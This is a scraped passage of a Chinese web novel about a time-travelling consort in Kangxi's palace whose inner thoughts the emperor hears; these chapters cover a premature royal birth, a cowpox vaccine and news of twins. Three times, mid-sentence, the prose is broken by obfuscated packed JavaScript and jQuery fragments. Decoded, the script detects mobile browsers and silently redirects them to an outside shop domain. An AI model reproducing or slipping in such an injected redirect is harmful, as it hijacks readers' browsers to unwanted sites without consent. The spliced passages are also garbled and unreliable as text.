“哇!就是那个被称为满清第一诗人,情歌大圣纳兰性德?可是写出后世多少少年人用作情书的一生一世一双人啊,还有那句人生若只如初见,何事秋风悲画扇的人啊。” 康熙听着她满脑子对纳兰性德的夸赞,第一次对自己这个表兄弟有了几分醋意,明明孩子都快生了齐满月心中都没夸他几句,怎么就夸起还没见过面的纳兰性德了?! “后世好多人说纳兰性德的诗是抄袭哈哈哈哈哈,虽然化用在这个时代不算抄袭,但还是好好笑啊。” 康熙张了张嘴,瞬间明白了这份说辞背后是汉人对满人的文化轻视,可偏偏他还不知道从哪里辩解。 “不过我不喜欢他的诗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17627707|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,我喜欢顾贞观的那句我亦飘零久,十年来,深恩负尽,死生师友。” “他那句乌头马角终相救,还有纳兰性德的五年之约,简直是友谊的典范啊,说起来现在是康熙二十二年,顾贞观救回他的好友了吗?纳兰性德那句顾梁汾为吴汉槎屈膝处已经写上了吗?” 康熙愣了一瞬,他没想到自己从未在意的顾贞观竟然在齐满月心中有这样的重量。 他轻叹了口气,轻声说道:“容若这人心软又重情义,之前交了一个好友名顾贞观,还在去年帮对方为一个先帝十四年被冤枉的好友平冤。” “咦!竟然救回来了?那可就太好了~”齐满月暗自松了口气后,继续想到,“此人确实心软又多情,一生友情诗四十二首,十三首写给顾贞观,最爱的原配妻子二十一岁难产去世,续弦感情平平,长子出生侍妾颜氏,最后好不容易和一个女子相爱又满汉不通婚,自己郁郁不得志早逝后,对方生下遗腹子被送回江南。” “不过说起来可怜的是他的妻妾吧,原配就不说了,颜氏在卢氏之前便跟随他,续弦被他冷落,最后的女子被逼只能养在别院成为外室,生了遗腹子后还被扔回江南,还真是……吃人不吐骨头啊。” 康熙没想到她会这样想,想说男子三妻四妾是正常,又想到对方时不时暴露的未来,想说满汉不通婚是规矩,纳兰一族送对方回江南也怕此事暴露出来影响孩子,此事那女子未尝不愿意,可就像齐满月曾说过的那样,无论怎么辩解受伤的始终是那些女人。 他看着对方越想越深,甚至开始骂自己了,只能开口说道:“黄履庄最近忙于要事,我看你对他的东西兴趣缺缺,这些日子就没让他往宫里送东西,你若是喜欢回头让人去告诉梁九功,朕再给你安排。” 齐满月赶忙摇了摇头:“不必了,臣妾确实不太爱玩那些东西。” “见识到了现代社会对这种稍微还带点古朴的玩具……嗯……兴趣确实不大哈哈哈哈。”齐满月心声传来,让康熙不由松了口气,总算错开话题了。 “说来也有意思,他和戴梓还有太医在喝酒时,竟无意中发现了牛痘可以抵御天花,如今朕正安排测试,只要确保了比人痘安全,就开始向民间推广。” “哎!?康熙年间有牛痘发明了?!该不会是我蝴蝶翅膀扇的吧?”齐满月眼眸瞪得很大,她丝毫没察觉出自己的暴露,震惊的看向康熙。 康熙无奈地伸手摸了摸她的眼角:“放心吧,日后孩子们都会平安度过天花的。” “这样说来,我是不是可以暗示一下,发明下青霉素抗生素?”齐满月乖顺地点了下头,脑海里却开始发散思维。 康熙忍不住挑了挑眉,暗自将对方吐露的消息一一记录。 “皇上,承乾宫传来消息,皇贵妃发动了……”梁九功快步跑来,低声提醒道。 他声音虽低,可旁边的齐满月却也能听个七七八八。 眼瞅着康熙起身就要去承乾宫,她也赶忙起身喊云秀过来扶她过去,身为后妃不去守着可有点不像话。 康熙瞥了她一眼,直接吩咐云秀道:“按住你们主子,凑什么热闹去,刚刚交代的又忘了?待着吧。” 说罢他起身离开,却也将身后齐满月的心声听个一清二楚。 “我记得历史上皇八女是六月十九出生的吧,现在不才五月十九吗?提前一个月?还是我记错了……?” 康熙脚步微微一顿,脑海中却想到了胤禛找他的画面…… 46. 皇贵妃生产 皇贵妃生产这样的事,对现在并没有皇后的清宫而言,已经是堪比皇后生子一样的重要了。 所以当康熙到了承乾宫后,不少嫔妃早已站在院中等着,还有一些离得远的小嫔妃们正急急忙忙的过来。 谁承想一进院子先看到的就是这位大爷站在院中,吓得浑身战战,有几个竟然连行礼都忘了。 成贵人也来的晚了些,但她脑筋转的略快,立刻反应过来赶忙行礼后退居到一处,和她一同来的另一个小答应不知道想到什么,脸上带着几分羞涩,轻点莲步的挪到康熙面前:“奴婢给皇上请安~” 娇滴滴的语调刚吐出来,媚眼还没抛完,就被梁九功带来的小太监按住。 “皇……皇上?”她瞪大着双眼不可置信的看了眼梁九功,又将视线投向康熙。 康熙连眼神都没抛给她,直接示意梁九功将人拉下去,才皱眉看向满院子里的妃嫔:“你们凑什么热闹,回自己宫去!” 小嫔妃们早已被梁九功刚刚的动作吓得不敢吭声,此时听到康熙这样说,更是连连行礼乖顺退下。 走出承乾宫后,她们才捂着胸口大喘了一口气。 成贵人是偏后走的,她小心回望了一眼康熙,又扫了眼离开的妃嫔,发现并没有她想看到的那个人,眼眸不由微微一暗。 僖嫔走在最后,她虽是嫔位,却并非一宫主位,这种情况下自然也随着其他妃嫔们离开了。 只是与其他安静离开的妃嫔不同,她出了承乾宫后跺了跺脚,拉着端嫔就开始絮叨:“说的好像咱们想来的一样,这天正热着,又是皇贵妃生产,谁敢不来候着!” 端嫔张了张嘴,有些震惊地扫了她一眼,下意识就想挣开她的手,却没想僖嫔实在有力气,竟把她的臂膀压得死死的。 端嫔不可置信地低头看了看手臂,又抬头看了看僖嫔,许久后,直到僖嫔疑问的看向她后,她才说道:“四妃皆在,贵妃娘娘和太皇太后也在。” 头一次见端嫔说那么多的话,僖嫔眼睛一亮,瞬间觉得自己和端嫔成了好友:“今日正好有空,不如你去我那边?我跟你讲啊,我现在跟着襄嫔那边的法子,做了好多好看的首饰还有毛毡画,我都送你?你有去做吗?我教你吧?你喜欢做什么?” 端嫔没想到自己不过是想摆脱这一声应答,却引来了对方的邀请,她下意识就要开口拒绝,可僖嫔的话实在密实,她几次张嘴都没插进去话,就这样被僖嫔连拉硬拽地去了自己那边。 康熙进了内室,看到了德妃宜妃都挺了个肚子眼眸微微一软:“你们身体都重了,这边不用你们操心,都回去吧。” 宜妃和德妃相视看了眼,才起身行礼后相携离开。 孝庄看了眼康熙,又看了眼离开的众人,才开口问道:“襄嫔没让她过来吧?” 康熙轻笑着回道:“她想来,孙儿拦下了。” “嗯,她也显怀了,性子又娇弱,不必在此,免得受了惊吓。”孝庄含笑点了点头,眼眸有意无意地扫过一旁的惠荣两妃还有贵妃钮祜禄氏。 惠妃和荣妃脸都没变,只笑着颔首赞同,她们心知这是太皇太后为襄嫔不来补漏呢,以防后宫有些不该传的话。 她们早过了争宠的日子,如今更是坐到了凭她们身份能够做到的位置极限,对齐满月与其说争宠,不如说更想交好,毕竟以她们的眼光看来,对方或许会走的比她们更高更远。 钮祜禄氏倒是不同以往那般强势蛮横,反倒是端着茶盏垂眸似在出神。 康熙抬眼间看她这副模样一时间有些恍惚,对方这幅姿态,这样的面容可太像他早逝的第二任皇后钮祜禄氏了。 也是这时,他明白过来为什么在齐满月所经历的历史上,他会对贵妃有那样特殊的情愫,恐怕其中也有移情的作用在,尤其是自己失去了三位妻子的情况下。 贵妃自然察觉了这祖孙二人的视线,她不在意的盯着茶盏上的花儿,心中却冷笑着只觉得一切好生荒谬。 家族将姐姐送上后位,正野心勃勃时姐姐早逝,于是赶忙将自己送进宫,只盼着和姐姐长相相似的自己能得皇上宠爱。 她何等憎恶这样的算计,何等心疼为了家族算计丧命的姐姐,何等厌恶那高高在上的帝王,只是她什么也不能做。 还是无意中一个宫人的话点醒了她,男人都是喜欢柔顺乖巧的,她就偏要蛮横,可一般的蛮横帝王是不会在意的,那她就干涉朝政,果然最后落得帝王厌恶。 可同样的,她亦是被家族不断威胁,又被母亲进宫哭诉多次后,才想着不行就干脆生个阿哥算了,生完了就送到太皇太后那边养,看钮祜禄氏谁敢算计。 但偏巧齐佳氏入宫,更巧的是对方一入宫就得盛宠,虽然有几次看似被冷落,可她身为贵妃自有人脉去查个一二,尤其是这段时间,对方堪称独宠了。 也因此,她放下心来,开始慢慢恢复自己本身的性格,她甚至非常喜欢齐满月,对方不仅长得好看、性格也好,头脑还聪明,甚至想着有个机会和对方结交。 所以此时太皇太后的警惕她丝毫不在意,但康熙的恍惚她可就在意了。 想到这里,贵妃脸上露出一抹嫌弃的眼神,随后将自己手中的茶盏往桌子上轻轻一放。 果然如她所想,康熙眼眸中那抹怀念瞬间消散,视线再次投向孝庄:“额涅玛玛不如去休息下,皇贵妃是头胎,时间怕是还有的等。” 孝庄年纪上来了,此时自然不像早年守着赫舍里生产一样熬夜,更别说她本就不想给皇贵妃这样的体面,只是看在胤禛份儿上,此时听到康熙这样劝说,自然是笑着应下,被众人送着出了门。 若是按照过去,她必然要等着,至少在慈宁宫等着,以便和康熙商议佟佳氏若是生个健康男孩该如何平稳朝堂。 可自从齐满月的心声出现后,她从对方心声中知道了佟佳氏会生个活不久的女儿,更知道对方也活不了几年,此时自然不再担忧。 康熙坐在位置上,听着里面偶尔传出的些许杂乱的声音,心绪也有些越来越乱,脑海里也想到了之前胤禛找他商议的事情。 “汗阿玛,儿子……”胤禛尚且年幼,在他看来,母亲可能因为孩子早逝这件事情,远比自己可能被君父厌恶更重要。 康熙听着他稚嫩的打算,那和他最初不谋而合的想法,让他并没有对这个历史上接任自己的儿子产生丝毫恶感,反而有些欣慰于对方和佟佳氏的感情,但也有些警惕在此油然而生。 一个亲近佟佳氏的阿哥,还是可能接任他的继承人,可不适合再次亲近佟佳一族了…… 压下心中那份属于帝王本能的警惕,康熙叹了口气看着胤禛:“你佟佳妃母极为疼爱这个孩子,如果用手段拿掉这个孩子或许对她伤害更大。” 胤禛听着他的话呆愣了许久,那早已在心中盘算许久的想法在这一刻崩塌,从未想过的角度充斥了他的小脑袋。 因为爱所以恐惧与伤害,因为爱所以不敢去伤害。 这不仅是胤禛的想法,也是康熙的想法,他恐惧于自己的一念会让表妹更早离世,也恐惧于万一对方得知憎恨自己…… 当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629951|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 的想法在此刻却开始有些动摇,这本该在六月出生的孩子提前了一个月诞生,历史真的能够改变吗? 他完全没有把握,即便他早早地让皇贵妃不再操心宫务,早早的安排御医每日请平安脉,早早安排医女们守在承乾宫。 可孩子的早出生却像是在他之前还有些自信的脸上狠狠扇了一巴掌。 “之前算的产期不在今日,太医可说了什么原因?”他皱了皱眉,扫向惠妃和荣妃,倒不是怀疑她们,只是她们如今管理宫务,这事算起来也算是她们管理不善。 惠妃行礼后,才不慌不忙解释道:“臣妾早就问过御医了,倒不是受了惊或是怎么了,应该就是孩子等不及出世了。” 荣妃眼眸微微一暗,转瞬消失后才说道:“想来是孩子迫不及待想看额娘和阿玛了。” 听她二人这么一说,康熙才松了口气,固然表妹身体称不上十分健壮,却也可以称得上康健,这些时日御医也不曾有个坏消息,这个孩子也未尝不能救下…… 皇贵妃这次生产确实用了许久的时间,直到天已经黑了,星辰都布满了天空,里间才传来一声婴啼。 听着这个实在称不上嘹亮的哭声,荣妃和惠妃脸色皆是一变。 她二人何止生过一个,又何尝没失去过,身为后妃又见过多少次孩童的诞生,这样的哭声可实在称不上康健…… 不要说她们的脸色大变,连康熙脸上都凝重了几分。 他也不是没经过丧子之痛,自然也明白一个健康的孩子该是怎样的表现。 果然没多久,刚出生的皇八女就被宫人抱了出来。 看着小小的婴孩儿被裹在厚实的襁褓中,康熙眼眶微微有些发热,这个他和表妹今生唯一的孩子,他实在无法说出能够养大的许诺。 “御医!”他颤着手,指尖却在即将碰到孩子脸颊时猛地收回,对外怒吼了一声。 惠妃和荣妃赶忙下跪,连抱着孩子的宫人都被吓得浑身发颤,可即便这样,那个娇小到仿佛只有他一只手那么大的孩子竟然丝毫未动。 承乾宫的混乱结束于康熙差点摔倒的身影中,他摆了摆手让人将孩子抱下去,又细细叮嘱暂时先不要告诉皇贵妃,才有些踉跄地坐上御辇。 看着他的背影,荣妃有些苦笑着摇了摇头:“到底是不同的情分,咱们的孩子可不曾这样被……” 她话没说完就被惠妃握着她的手的动作打断:“当时皇上也很难过的,只是他是皇帝有些时候难过是不能给人看的。” 说罢她回看了眼内室,又看了看永寿宫的方向:“皇上和皇贵妃是亲表兄妹情分自然不同,只盼着宫里的喜讯是一波接一波的……” 她的话说得隐晦,□□妃却能明白,也随着她的视线看向永寿宫,随后压低着声音:“那边你我盯紧些,多顾着些,若再出了事端,怕是咱们在皇上跟前的情分也没了,到底是不一样的。” “我省的。”惠妃轻轻拍了她的手。 康熙坐在御辇上看着虚空,那原本因为自己成功改变历史,拯救了戴梓和黄履庄,发明了更强大的火器,做出了利民的牛痘,纵然他受制于系统,却也偶尔得意于自己算是被天选中。 可偏偏今日的事情,在他那得意的,傲慢的情绪上泼下一桶冰水,直冰的他仿佛看不到前路一样恐惧。 途径永寿宫时,他突然叫停了御辇:“去永寿宫。” 梁九功不懂康熙怎么会突然改变主意去永寿宫,却也习惯了康熙没事儿就找襄嫔的行为,此时更是直接带着宫人转了方向直奔永寿宫而去。 47. 朝堂和永寿宫 皇贵妃生完孩子实际上已经很晚了,齐满月今日又特意叮嘱了宫人早点关闭宫门,所以当康熙来到永寿宫门前时,看到的就是紧闭的红色大门。 “皇上?”梁九功躬身轻声请示道。 康熙揉了揉眉心,犹豫了好半晌后还是微微抬了下下巴示意梁九功敲门。 可就在梁九功抬起手时,他又突然开口打断:“罢了,如今襄嫔身子也重,还是别打扰她了。” 康熙深吸了几口气,那种迫切想从齐满月身上获得一些能量的感觉被他强硬压了下去,他看向上方写着永寿宫字样的牌匾,对抬着轿辇的太监摆了摆手:“回去吧。” 他此时对见到齐满月骤然有了一种莫名的恐慌,他不想在这个时候从对方心声中听到更不好的未来消息,也怕自己按捺不住脾气将怒火泼洒在这个无辜人身上。 梁九功伺候他那么多年,对他不敢说绝对了解,却也能猜个七七八八,纵然因为康熙对齐满月的盛宠而曾诧异过,却也能在这次将对方的心意猜出个几成。 暗自在心中叹了口气,梁九功突然有种想要怜悯后宫其他妃嫔的冲动。 如果是她们,康熙绝不会考虑如此之多。 他纵然不知道康熙为什么会突然反悔,却也明白命令变化之下的康熙对齐满月的那份顾怜,那并不是该出现在帝王身上的情绪,却此刻被这位帝王送给了一个嫔妃…… 康熙躺在龙床上,看着床幔许久后才缓缓闭上眼睛,他知道孩子的情况瞒不了皇贵妃多久,他需要想想该怎么对表妹阐明情况,该怎么安慰即将失去孩子的母亲…… 次日的早朝上,康熙处理了一些政务后,看着明珠和索额图眼眸微垂,许久后才抬眼说道:“数月前,朕要求太医和黄卿、戴卿的友人一同整理,从盛京带来的旧藏的书册,竟然在书册中发现了可预防天花的方子,朕已经让太医院与这位民间神医同行前往民间探查。” 朝堂上瞬间安静下来,众位王公大臣彼此相视看了一眼,只觉得皇帝这个理由实在有些让他们不知道该怎么接话。 盛京旧藏的书册里发现了预防天花的方子?!他们身为满蒙皇亲贵胄怎么不知道?而且为什么前面几位帝王没发现?最重要的是,他们满蒙什么时候研究过天花?该不会是从前明旧库翻出来的吧? 种种念头萦绕心头,大家面面相觑下也看透了同僚眼中的惊诧,连明珠索额图也同样如此,甚至他二人还悄悄抬眼看了眼上方的帝王。 康熙当然知道这样的理由实在经不住探查,只是他并不在乎,只要天下百姓认为是他爱新觉罗一族找到的方子,这样的恩情自然也落在他们身上,至于真相谁能查的出呢?毕竟无论是民间神医还是那位太医都是绝对的满族人。 “数日前,太医与神医同时回京,以确定牛痘比人痘预防天花更安全,朕已安排死囚实验,目前百名死囚皆活。” 他没在意朝臣的眉眼官司,冷声吩咐道:“索额图、明珠!” 索额图和明珠暗自相视一眼,赶忙出列应了声。 “此事交于你二人处理,朕希望天下百姓皆种此疫苗,朕希望天下再无天花!” 索额图和明珠赶忙领命,可在心里却暗自叫苦。 若是皇帝承认这是汉人的法子,那些汉人们自然是欢欣鼓舞的去种痘,可偏偏明旨是满人的法子,如今民间可不算多安定,若是汉人强势反抗难不成再来一次扬州嘉定之难吗? 两人撇着对方帽子后面明显粗长了许多的辫子,眼眸不约而同的转了又转,算计的心思从心底爬出,这种事当然是给明珠/索额图才好,自己不过是个协助嘛。 康熙早就从齐满月心中知道了二者的未来,更知道自己长子和太子的两虎相争不乏这二人的推波助澜,若不是他现在猛然将二人踩下去会朝堂动荡,他怕是早些时日就下旨了。 此时他想的也是让二人多去民间跑跑,离京城远一点,纵然两子未来还是会相争,可也要争得掌握在自己手中才行。 若是齐满月在这个位置听到他的心声,怕是给他翻个大大的白眼,然后告诉他历史上就是他自以为一切都能掌握在自己手中,才闹出所谓的九龙夺嫡白白消耗了那么多国力在内部争斗中。 不过此刻她并没有心思关注这些,大早上起来她吃了个奶饽饽,不知道因为什么缘故就觉得肚子痛得厉害。 将云秀吓得赶忙让云月去叫太医,甚至她还下意识让云朵去通知皇上。 “云秀!”齐满月一把拉住她,“如今还在早朝,不准通知皇上。” 她额头上不住地滚落出豆大的汗珠,腹中如同一双大手在胡乱搅着,可她抓着云秀的手却不敢松开。 云秀赶忙应下,又蹲在她的身旁拿着帕子不住给她擦着。 身后的云梅咬着唇看了看齐满月,又看了看云秀,许久后满是担忧和恐惧的眼眸里终于下定决心,她悄然地从众人身边退去。 云秀没注意到她的动作,如今正全身心都放在齐满月身上,甚至在心里不住地求神拜佛,只盼着长生天不要伤害了她善良的娘娘。 云朵被吓得愣在原地,不过她呆的时间并不长,看着云秀被齐满月拉着不敢动弹,只能快速上前又喊了两个宫人帮忙将齐满月身上的大衣裳脱下,换了更日常的松便衣衫。 等太医给齐满月诊脉的时候,下朝后得知齐满月身体出问题的康熙也脸色难看的急匆匆而来。 这次他并没有乘坐御辇,反而是直接从乾清宫快步走来。 龙袍边角的海浪纹在他的抬脚间上下翻飞,将一片飘落在角落里未曾被宫人来得及清理的叶子重重扇飞,又轻轻落在他的身后。 抬手打断了宫人们的行礼,康熙冷冷扫过太医,转头对梁九功吩咐道:“将宋院使请来!” 梁九功应下后快速转身去安排。 见他离开后康熙才看向太医。 这位太医也姓宋,是老院使的侄子,深得对方真传,在整个太医院也是一位医术高明的御医,与为皇贵妃专司平安脉的梁御医,与太皇太后请平安脉的张御医都是下任左右院判的候选人。 可以说除了一般不会出山的院使,在两位院判之下,他的医术不敢说第一也敢说前三。 对他的医术,康熙极为放心,这才私下下令让对方专司永寿宫,可此时看着对方微微蹙眉的样子,他却更愿意相信老院使。 老院使如今已经年过六旬,梁九功专门给他安排了小太监背着他,这才在没多久后赶到了永寿宫。 他垂眸就要行礼,却被康熙抬手打断:“请宋先生为襄嫔诊脉吧。” 老院使微微颔首,快步走到宋御医面前,低声问了几句,才坐到梁九功递过来的绣墩上给齐满月诊脉。 许久后,就在齐满月痛苦的神情渐渐散去,汗珠也不再滚落时,他才起身。 康熙直接开口说道:“宋先生不必多礼了,直说就是。” 老院使眉眼带着不易察觉的惊讶,他有些趣味地扫了眼床上的襄嫔,才对着急的康熙说道:“娘娘并无大碍,只是腹中孩子……” 他这一停顿倒没觉得什么,只康熙觉得自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17636317|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 眼前一黑,一种莫名的恐慌萦上心头,难道他要在短短数日内接连失去两个孩子吗? 幸而老院使带来的并非噩耗:“娘娘腹中痛乃是吃伤了,这些日子还是少吃些生冷的东西吧。” 康熙一噎,一个不争气的眼神就投向了床上眼睛不住躲闪的某人。 他正要再问刚刚老院使说的孩子是怎么回事,就听对方说道:“娘娘腹中怕不止一个孩子,只是……” 他慢悠悠地语气将康熙憋了个够呛,引得梁九功都忍不住用眼睛暗示他。 老院使却还是老神在在说道:“只是娘娘如今腹中孩子才四个月有余,多胎此时难以确定,不过以老臣经验,应是双胎无疑。” 康熙心中顿时涌上一种糅杂了恐慌、惊喜、不可置信的复杂情绪,他眼眸在齐满月的身上转了又转,他深知多胎妇人产子有多危险,孩童有多难以存活,他明白这一切也更因此而惶恐。 “妈耶?俩!?我怎么能怀俩?!没听说齐佳府有双胞胎基因啊?而且……生俩该不会按照规矩偷摸弄死一个吧?” 康熙刚刚那阵子不可名说的情绪瞬间被齐满月这几句心声立刻打断。 他按下无语的情绪,先是赏了老院使和宋太医,又让梁九功快去慈宁宫送消息,不忘叮嘱云秀日后盯紧了齐满月,不准她什么都往嘴里死命塞。 齐满月暗自翻着白眼,只觉得他多管闲事。 康熙交代完一切,坐在她的床边,握着她的手轻轻叹了口气:“你可把朕吓坏了。” 不等齐满月反应,他继续说道:“宫里虽未曾出过双子,可自古以来宫廷中就不乏双子诞生,这本是祥瑞之气你莫要随意听信谗言。” 齐满月有些诧异地扫了他一眼:“啥?他怎么知道我在想什么?难不成听得见我的心声?!离谱了点吧?我应该生活在一个科学的世界里吧?” 康熙忍不住抬手捏了捏她的小脸:“你呀,什么心思都挂在脸上。” “不必担心,朕是皇帝,拥有四海,必然会护住你们母子三人。” 齐满月却没在意他的发誓,只在脑海里胡乱猜着:“哦~皇贵妃生的女儿身体不行他应该知道了,哎……也不怨皇贵妃和他,他们两个能有个孩子已经算不错了。” 康熙指尖微微一顿,一种莫名的、可能会令他恐惧的真相,似乎在这一刻要揭露了,他忍不住吸了口气,按下自己下意识想要逃避的冲动。 “皇贵妃和康熙从血脉上来说可是嫡亲的表兄妹了,康熙的娘和对方的爹可是亲兄妹!哎……近亲结婚能平安生下健康孩子本就是很难得,也难怪他们日后不仅再也没有孩子,后来的小佟佳氏入宫也不曾有过孩子。” 康熙瞳孔不自觉放大,他耳边响起一阵嗡鸣,几乎将齐满月的心声盖住,可那一句句心声还是传入了他的耳中。 “古人认为堂兄妹之间不能结婚,表兄妹之间可以,可从血脉上来说,都不是同一个爷爷奶奶的吗?兄弟之间和姊妹之间的血缘不都一样远吗?好歹也生下来个虽然体弱却正常的孩子,那些生下畸形儿的不也很多,只是没人会暴露出来而已。” 这样的话如同重锤一阵阵敲在康熙心上,他抿了抿唇,压下满心的情绪,看了眼齐满月:“朕那边还有政务,你自己好生休养,朕走了。” 齐满月诧异地看了眼对方离去的背影,却也没觉得如何,反正对方是皇帝做什么都很正常。 出乎意料的,康熙并没有去乾清宫,而是往慈宁宫去,他这一刻只想找那个将自己养大的老人好好地诉说一通…… 48. 双胞胎之后 孝庄看到康熙脸色难看地进来,脸上的笑容猛地一顿,下一瞬就皱眉打断了康熙的行礼问道:“怎么了?你脸色怎会如此难看?” 康熙看着她,眼眸中是极为明显的血丝,他张了张嘴,许久后才从发紧的喉咙里发出一声喑哑的声调:“额涅……额涅玛玛……” 孝庄只有在康熙生母佟佳氏去世和赫舍里去世时才见过他脸上这样的悲伤表情,此时心下不免一惊,一些不太好的画面不断在脑海中闪现。 那些齐满月在慈宁宫出现过的心声也不断在她心中回响,可她想了半天都没想明白,这满宫里还有什么突然的事情让皇帝露出这样的神色。 康熙看着她满脸担忧,也知道自己吓到了对方,深吸了几口气闭了闭眼后,康熙才将齐满月说的事情艰难地讲给了孝庄听。 孝庄脸色如同康熙所猜测的一样平静,她看着康熙许久后叹了口气:“皇帝,此事大可去民间查看,只是对于你对于大清而言,这……未尝不是好事。” 康熙僵了一瞬,他抬眼看向孝庄,她面色平淡的如同在说今天天气很好一样:“这事儿你应该懂的。” 康熙沉默的点了点头,他何尝不知道身为帝王母族的佟佳氏一族何等野心勃勃,何等期待着一个健康的留着佟佳血脉的皇子诞生,何等期待着延续着佟佳氏的荣耀。 他其实在来慈宁宫的这一路上就已经想到了这些,情绪也平静了很多,只是当他看到将自己养大的孝庄后还是没按捺住那种悲伤。 除了帝王身份外,他也是佟佳氏的丈夫,他们更是青梅竹马的亲表兄妹,得到这样一个结果,他何尝不难过呢? 孝庄自然了解自己选中的这个皇帝,他既有身为帝王的无情,也有身为男人的多情。赫舍里的结发之情,钮祜禄氏的继室之情,佟佳氏的青梅之念,宜妃的爽利,德妃的温顺,惠妃的博学,荣妃的体贴,这后宫里有太多他身为男人所惦念的人。 也因此,如今她对康熙会像皇太极爱上宸妃那样并没有太担心,毕竟即便如此超规格的宠爱了,可康熙却也没有独宠过齐满月。 康熙在孝庄的视线中沉默的坐了很久后,还是点了点头:“孙儿回头等皇贵妃身体再好些,与她好生说个清楚。” “嗯,她性子一向温和又聪慧,想来能明白的,由你来说也比她从胤禛口中知道只言片语好些。”孝庄并不在意这些细节,毕竟之前她还会担心齐满月的出现会不会让佟佳氏再次怀孕生下孩子,如今知道了她注定无法和康熙生下子嗣,自然就宽容了很多。 康熙应下后,想到了齐满月的事情,才继续说道:“襄嫔的事情,额涅玛玛都知道了吧?” 孝庄此时脸上再次浮现出最初的那抹笑意:“知道了,你巴巴遣人来说,我怎能不知。” “这是好事,天大的好事,咱们宫里也未曾出过双生子,虽说你叔父安亲王,之前他福晋不也生了个龙凤胎,如今这种祥瑞落入宫里,合该好生赏赐的。” “孙儿已经打赏了永寿宫的宫人,此番找额涅玛玛还有一事想要商议。”康熙此时也暂且将表妹的事情抛去,心头涌上了齐满月那张娇憨的脸,脸上更是带上了几分笑。 孝庄看着他眼角藏不住的欣喜和骄傲,还有那种她只有在皇太极看宸妃海兰珠时才有的眼神,心下微微一顿,之前以为康熙不会像皇太极一样的想法缓缓褪去一部分。 “你想晋她为妃?”她毫不犹豫就猜到了康熙的想法。 康熙毫不犹豫地点了下头:“襄嫔此番怀孕便是如此祥瑞的双子,若是其他妃嫔孙儿自然也要赏的,而她……孙儿想不出还有什么可赏的,不如就晋她位分吧。” 没什么可赏赐的? 孝庄下意识想要轻哼一声,这后宫可赏的可太多了,金银珠宝,首饰头面,哪个不能赏? 只是她也清楚这不过是康熙找的借口罢了。 想到这里,孝庄叹了口气:“随你吧。” 她知道自己拦不下对方,也没必要拦着对方,就像是无数次苏麻喇姑的劝解一样,身为那样身份的齐满月若非是宫妃早该被整个皇室奉若神女的,既然对方成了宫妃,皇帝自然该给一些宠爱。 康熙没想到孝庄在这点上如此痛快应下,他愣了一瞬后瞬间反应过来,便想着应该是孝庄看在对方确实生了双子这样的祥瑞份上。 他没多想,孝庄自然也不会多说什么。 两人闲聊了几句后,康熙似乎想起什么带着有些无奈的语气将齐满月的担心讲了一遍。 孝庄也没想到对方还有这样的脑洞,无奈的摇了摇头:“汉人的王朝倒是有过一时这样的说法,只是一则是世人认为单为阳,双为阴,双子阴太盛不及,另外的便是多是帝王无子,双胎又生于皇后腹中,为皇位继任才有这样的担忧,咱们倒从未有过这番讲究。” 她想了想,看着康熙,语气中带着一点试探:“这双生子若是教育不同,也不容易太相象。” 康熙没想到她会这样说,但也一时间没明白过她的意思,便没开口接话。 “襄嫔是头胎又是两个孩子,如今她身为一宫主位本就可以自己养育子嗣,两个孩子到底操心些,又是这样祥瑞的名声,未免将来被人利用,不如交给我养一个吧。” 康熙愣了一瞬,下意识就开始思考孝庄这个建议的可能性。 如今他并不想更换太子,为了避免历史上那种九龙夺嫡相争的场面,从孩子还幼小时就开始断绝这种纷争的可能性,倒也可以。 想到这里,他便直接点头应下:“此事孙儿会和襄嫔商议。” 孝庄没想到他竟然没有直接应下,可因此她将孩子从齐满月身边带走一个的决心也越发坚定。 如果说最初这不过是个想法,现在她需要让这件事成为现实。 在她看来,以康熙如此重视对方的情况来看,将来对方未尝不会坐到后位上,一个诞下祥瑞双子的皇后,她的孩子本能地会对太子的位置造成威胁。 而且若是齐满月坐上后位,她的孩子也就是嫡子,若到时候太子真的无法继位,两个性格长相都一样的男孩恐怕会出现和汉人王朝所担心的那样,到时候未尝不会再出现一场九龙夺嫡。 若按照她的想法,自然两个孩子都送过来才好,可她也清楚没有一个母亲会愿意舍弃两个孩子,便只能退而求其次,先养了一个再说。 康熙是没想那么多的,在他看来自己如今最喜欢最认可的继承人依旧是自己如今的太子胤礽,至于齐满月的孩子,他自然会喜爱心爱之人所生的孩子,但皇位不是喜欢就可以的。 两人的商议并没有传入到永寿宫,齐满月还在可怜巴巴的喝着粥,最爱的酥山被禁止进入永寿宫,其他的荤腥饽饽类的也被削减了很多。 “吃不饱啊……”她一双杏眼的眼尾微微下垂,露出那副可怜兮兮模样,惹得云朵都跟着心软了。 